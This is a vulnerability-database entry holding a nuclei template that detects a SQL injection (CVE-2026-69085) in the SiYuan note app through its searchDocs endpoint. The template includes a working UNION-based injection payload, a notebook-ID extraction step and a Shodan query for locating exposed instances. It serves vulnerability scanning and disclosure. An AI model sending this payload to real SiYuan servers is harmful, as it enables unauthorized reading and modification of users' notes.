Lucene search
+L

SiYuan <=3.7.2 - SQL Injection

🗓️ 08 Oct 2026 02:15:07Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Unauthenticated SQL injection in SiYuan <=3.7.2 via searchDocs endpoint reads/modifies database.

Related
Refs
Code
id: CVE-2026-69085

info:
  name: SiYuan <=3.7.2 - SQL Injection
  author: str4k3r
  severity: critical
  description: |
    SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.
  impact: |
    Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to version 3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4
    - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3
    - https://hub.docker.com/r/b3log/siyuan/tags
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69085
    epss-score: 0.01488
    epss-percentile: 0.73271
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: b3log
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,sqli,sqlite,unauth

http:
  - raw:
      - |
        POST /api/notebook/lsNotebooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        POST /api/filetree/searchDocs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"k":"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}

    extractors:
      - type: regex
        name: box_id
        part: body
        group: 1
        internal: true
        regex:
          - '"id":"([0-9]{14}-[a-z0-9]{7})"[^}]*"closed":false'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '"path":"[0-9]+\.[0-9]+\.[0-9]+"'
# digest: 4a0a0047304502205996cc7074c68cd724a627829f2bb94e208c4368cc57b4197ba1e3df52ae396a022100c7415a1c8cd5a4bfa894241804418c6cd513fdfa4f31a6a80206f28194baef9c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2026 16:56Current
5.9Medium risk
Vulners AI Score5.9
CVSS 49.9
CVSS 3.110
EPSS0.01488
SSVC
12